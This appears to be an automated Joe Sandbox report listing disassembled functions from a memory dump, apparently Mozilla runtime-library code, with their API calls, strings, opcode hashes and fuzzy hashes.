Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: fa935fcbea9f6c61970b875d28fb2d5c1db6a7b931b7f5d27bc335b3eb567a6f
Instruction ID: ee576d80057db6471f7c226034a20896cba0e8f421e3c4ab88f56394a608bc61
Opcode Fuzzy Hash: fa935fcbea9f6c61970b875d28fb2d5c1db6a7b931b7f5d27bc335b3eb567a6f
Instruction Fuzzy Hash: 9471CFB2904741DFD714DF38D481A2ABBF0FF9A304F04496DE9868B662D735E858CB92

Function 6BF39590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF231C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6BF23217
Part of subcall function 6BF231C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6BF23236
Part of subcall function 6BF231C0: FreeLibrary.KERNEL32 ref: 6BF2324B
Part of subcall function 6BF231C0: __Init_thread_footer.LIBCMT ref: 6BF23260
Part of subcall function 6BF231C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6BF2327F
Part of subcall function 6BF231C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BF2328E
Part of subcall function 6BF231C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BF232AB
Part of subcall function 6BF231C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BF232D1
Part of subcall function 6BF231C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6BF232E5
Part of subcall function 6BF231C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6BF232F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6BF39675
__Init_thread_footer.LIBCMT ref: 6BF39697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6BF396E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6BF39707
__Init_thread_footer.LIBCMT ref: 6BF3971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6BF39773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6BF397B7
FreeLibrary.KERNEL32 ref: 6BF397D0
FreeLibrary.KERNEL32 ref: 6BF397EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6BF39824

Strings

MapViewOfFileNuma2, xrefs: 6BF397B1
ntdll.dll, xrefs: 6BF396E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6BF39670
NtMapViewOfSection, xrefs: 6BF39701

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 1e381521aa6bb0356ea037a8667441cd331b9eafd089a8626feed4fe8342a142
Instruction ID: 4f849a8799da47e4e03b51b3cca9e46acd76134765d5e1c73e3d5827bf4f4e77
Opcode Fuzzy Hash: 1e381521aa6bb0356ea037a8667441cd331b9eafd089a8626feed4fe8342a142
Instruction Fuzzy Hash: 3C61C273910215DBDF089F28D884B5E7BA0EF4A710F008529E956DB2B1DF38E858CBE1

Function 6BF23AB0 Relevance: 24.2, APIs: 13, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6BFAE768,?,00003000,00000004), ref: 6BF23AC5
LeaveCriticalSection.KERNEL32(6BFAE768,?,00003000,00000004), ref: 6BF23AE5
VirtualFree.KERNEL32(?,00000000,00008000,?,00003000,00000004), ref: 6BF23AFB
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6BF23B57
EnterCriticalSection.KERNEL32(6BFAE784), ref: 6BF23B81
LeaveCriticalSection.KERNEL32(6BFAE784), ref: 6BF23BA3
EnterCriticalSection.KERNEL32(6BFAE7B8), ref: 6BF23BAE
LeaveCriticalSection.KERNEL32(6BFAE7B8), ref: 6BF23C74
EnterCriticalSection.KERNEL32(6BFAE784), ref: 6BF23C8B
LeaveCriticalSection.KERNEL32(6BFAE784), ref: 6BF23C9F
LeaveCriticalSection.KERNEL32(6BFAE7B8), ref: 6BF23D5C
EnterCriticalSection.KERNEL32(6BFAE784), ref: 6BF23D67
LeaveCriticalSection.KERNEL32(6BFAE784), ref: 6BF23D8A

Part of subcall function 6BF60D60: VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6BF23DEF), ref: 6BF60D71
Part of subcall function 6BF60D60: VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6BF23DEF), ref: 6BF60D84

Strings

: (malloc) Error in VirtualFree(), xrefs: 6BF23DCC
MOZ_CRASH(), xrefs: 6BF23DB2
<jemalloc>, xrefs: 6BF23DC7

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_CRASH()
API String ID: 2380290044-2272602182
Opcode ID: 9190ed7498b557e8ba6a5ab3aab7003d45273f0cce1379527bf845f854bde44b
Instruction ID: 362384db53b9217c3fa8243fd4a3e0f2e9da6fe893e1785c973c39b3f9ef8702
Opcode Fuzzy Hash: 9190ed7498b557e8ba6a5ab3aab7003d45273f0cce1379527bf845f854bde44b
Instruction Fuzzy Hash: D4919FB3B10209CFDB18CFA8C4D072E77B2FB85710B204569E9269B3A5D779E844CB91

Function 6BF37FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6BF38007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6BF3801D

Part of subcall function 6BF3CA10: malloc.MOZGLUE(?), ref: 6BF3CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6BF3802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6BF3803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6BF3808D

Part of subcall function 6BF3CA10: mozalloc_abort.MOZGLUE(?), ref: 6BF3CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6BF3809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6BF380B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6BF380DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6BF380ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BF380FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BF3810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6BF38133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6BF38149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6BF38167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6BF3817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BF38199

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: 47848aef4eaf025fb1f4c221afc6c4f5244142a9f0be064b046ca8761cbbb035
Instruction ID: a40b3a5bff2b279ac6bebbaf16a24344aad1bc042e6a4b25d5eec30836fceba0
Opcode Fuzzy Hash: 47848aef4eaf025fb1f4c221afc6c4f5244142a9f0be064b046ca8761cbbb035
Instruction Fuzzy Hash: D55181B3D002159BDF00DBB9DC85AAFBBB9EF49624F140124E915E7361E738E904CBA1

Function 6BF311B0 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 186COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32,00000084), ref: 6BF31213
toupper.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6BF31285
memcpy.VCRUNTIME140(?,TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32,00000076), ref: 6BF312B9
memcpy.VCRUNTIME140(?,CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32,00000078,?), ref: 6BF31327

Strings

TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32, xrefs: 6BF312AD
Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32, xrefs: 6BF3120D
CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32, xrefs: 6BF3131B
MZx, xrefs: 6BF311E1
&, xrefs: 6BF3126B

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: memcpy$toupper
String ID: &$CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32$Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32$MZx$TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32
API String ID: 403083179-3658087426
Opcode ID: 6d0498e512547caf06f907835fd5079bf02a14fe9302a3f43af4f16d4f5828e4
Instruction ID: 6742dd1384a3479abe6c76b7971e1d5b35a7bd9b6e0514b018d202b3df275236
Opcode Fuzzy Hash: 6d0498e512547caf06f907835fd5079bf02a14fe9302a3f43af4f16d4f5828e4
Instruction Fuzzy Hash: F671A172E047398ADB209F78D8407DEB7F5BF45309F04069AD445A3260DB386B98CBE2

Function 6BF231C0 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 183timelibraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6BF23217
GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6BF23236
FreeLibrary.KERNEL32 ref: 6BF2324B
__Init_thread_footer.LIBCMT ref: 6BF23260
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6BF2327F
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BF2328E
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BF232AB
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6BF232D1
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6BF232E5
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6BF232F7

Part of subcall function 6BF5AB89: EnterCriticalSection.KERNEL32(6BFAE370,?,?,?,6BF234DE,6BFAF6CC,?,?,?,?,?,?,?,6BF23284), ref: 6BF5AB94
Part of subcall function 6BF5AB89: LeaveCriticalSection.KERNEL32(6BFAE370,?,6BF234DE,6BFAF6CC,?,?,?,?,?,?,?,6BF23284,?,?,6BF456F6), ref: 6BF5ABD1

__aulldiv.LIBCMT ref: 6BF2346B

Strings

KernelBase.dll, xrefs: 6BF23212
QueryInterruptTime, xrefs: 6BF23230

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Time$StampV01@@Value@mozilla@@$CriticalLibrarySectionStamp@mozilla@@$AddressCreation@EnterFreeInit_thread_footerLeaveLoadNow@ProcProcessV12@V12@___aulldiv
String ID: KernelBase.dll$QueryInterruptTime
API String ID: 3006643210-2417823192
Opcode ID: 65c8b9043358d138296d09e63a7c2f30f13284f2ad2eb131a6bfa088a1803365
Instruction ID: 1a9d59bcb047d33b2794ad2a9a0c8ad4a6f13a4372a1dbaca7a1d4af9b25fd1d
Opcode Fuzzy Hash: 65c8b9043358d138296d09e63a7c2f30f13284f2ad2eb131a6bfa088a1803365
Instruction Fuzzy Hash: E5611072918701CFCB25CF38C45161AB7E4FF86360F218B1DE9A5A32B1EB35D5498B42

Function 6BF86660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6BFAF618), ref: 6BF86694
GetThreadId.KERNEL32(?), ref: 6BF866B1
GetCurrentThreadId.KERNEL32 ref: 6BF866B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6BF866E1
EnterCriticalSection.KERNEL32(6BFAF618), ref: 6BF86734
GetCurrentProcess.KERNEL32 ref: 6BF8673A
LeaveCriticalSection.KERNEL32(6BFAF618), ref: 6BF8676C
GetCurrentThread.KERNEL32 ref: 6BF867FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6BF86868
RtlCaptureContext.NTDLL ref: 6BF8687F

Strings

WalkStack64, xrefs: 6BF86890

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 53bd290f08dd6d388820756d4308c6d1354237887949115760beb5691826c8d9
Instruction ID: 8179cab6477dc12151d91c97d7fcb1edabd601ed59b510c6804bae422149eb1b
Opcode Fuzzy Hash: 53bd290f08dd6d388820756d4308c6d1354237887949115760beb5691826c8d9
Instruction Fuzzy Hash: AE516C72929341EFD715CF24C884B5EBBF4BF89B10F00492DF59997261D778E9088B92

Function 6BF6DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BF34A68), ref: 6BF6945E
Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6BF69470
Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6BF69482
Part of subcall function 6BF69420: __Init_thread_footer.LIBCMT ref: 6BF6949F

GetCurrentThreadId.KERNEL32 ref: 6BF6DE73
GetCurrentThreadId.KERNEL32 ref: 6BF6DF7D
AcquireSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6DF8A
ReleaseSRWLockExclusive.KERNEL32(6BFAF4B8), ref: 6BF6DFC9
GetCurrentThreadId.KERNEL32 ref: 6BF6DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF6E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6BF34A68), ref: 6BF6DE7B

Part of subcall function 6BF694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6BF694EE
Part of subcall function 6BF694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6BF69508

Part of subcall function 6BF5CBE8: GetCurrentProcess.KERNEL32(?,6BF231A7), ref: 6BF5CBF1
Part of subcall function 6BF5CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6BF231A7), ref: 6BF5CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6BF34A68), ref: 6BF6DEB8
free.MOZGLUE(00000000,?,6BF34A68), ref: 6BF6DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6BF6DF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6BF6DE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6BF6E00E
<none>, xrefs: 6BF6DFD7

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 0c6e77bc1540a8f1c46af16bf406d96e8ad75b5c59a767b2f687a8e3c8bd2e30
Instruction ID: 68fcdd1db20d42b57e64286c7fa8e2d1bef0a676bcf51c90992bdd5b222c5e11
Opcode Fuzzy Hash: 0c6e77bc1540a8f1c46af16bf406d96e8ad75b5c59a767b2f687a8e3c8bd2e30
Instruction Fuzzy Hash: E341173BA10215DBDB189F74D884B6E7779EB86388F144015ED05DB322EB39D809CBE2

Function 6BF7D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BF7D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BF7D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BF7D918
GetCurrentThreadId.KERNEL32 ref: 6BF7D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BF7D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BF7D970
GetCurrentThreadId.KERNEL32 ref: 6BF7D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BF7D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BF7D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6BF7DA2E
GetCurrentThreadId.KERNEL32 ref: 6BF7DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BF7DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6BF7DA91

Part of subcall function 6BF45C50: GetTickCount64.KERNEL32 ref: 6BF45D40
Part of subcall function 6BF45C50: EnterCriticalSection.KERNEL32(6BFAF688), ref: 6BF45D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BF7DAB7

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: 454c4fa0b77754a78323e22a700648e8690fe3e435f6fc61ab31ba2cebcef370
Instruction ID: cddb31ab29f7104a0909e534739c668d8c719d47041f37a9d70d491718d29610
Opcode Fuzzy Hash: 454c4fa0b77754a78323e22a700648e8690fe3e435f6fc61ab31ba2cebcef370
Instruction Fuzzy Hash: CB719D76614305DFCB04DF28C884B5EBBB5FF89310F1585AAE85A9B322DB34E944CB91

Function 6BF7D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6BF7D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BF7D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BF7D52A
GetCurrentThreadId.KERNEL32 ref: 6BF7D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BF7D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BF7D55F
free.MOZGLUE(00000000), ref: 6BF7D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6BF7D5D3
GetCurrentThreadId.KERNEL32 ref: 6BF7D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BF7D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BF7D652
GetCurrentThreadId.KERNEL32 ref: 6BF7D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6BF7D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6BF7D6A2

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: a0227685174aeab4b2a7178815cfe28b457e56dc3c8797e462b145c7f94d2e36
Instruction ID: ad0dfbcfd1c94436744e89c22cfe13ff186105295825dd445040942217b45472
Opcode Fuzzy Hash: a0227685174aeab4b2a7178815cfe28b457e56dc3c8797e462b145c7f94d2e36
Instruction Fuzzy Hash: 0B517DB6514709DFC704DF34C884A5ABBA4FF89314F008A6EE84A97321DB75E949CB91

Function 6BF45670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6BF456D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6BF456E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6BF456F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6BF45744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6BF457BC
GetTickCount64.KERNEL32 ref: 6BF458CB
EnterCriticalSection.KERNEL32(6BFAF688), ref: 6BF458F3
__aulldiv.LIBCMT ref: 6BF45945
LeaveCriticalSection.KERNEL32(6BFAF688), ref: 6BF459B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6BFAF638,?,?,?,?), ref: 6BF459E9

Strings

MOZ_APP_RESTART, xrefs: 6BF456CC

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 2596a11257169347bb55f733dafec6cdcf473415100afab49dca32e7849654f6
Instruction ID: 021fe54a9fabcfe9512b7f9d8d56620ba6bea57266feae4421300545e6cea4d8
Opcode Fuzzy Hash: 2596a11257169347bb55f733dafec6cdcf473415100afab49dca32e7849654f6
Instruction Fuzzy Hash: ECC14872928341DBD709DF28C44066EBBF1BF9AB14F158A1DE9C497371D734A889CB82

Function 6BF6EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF69420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6BF34A68), ref: 6BF6945E
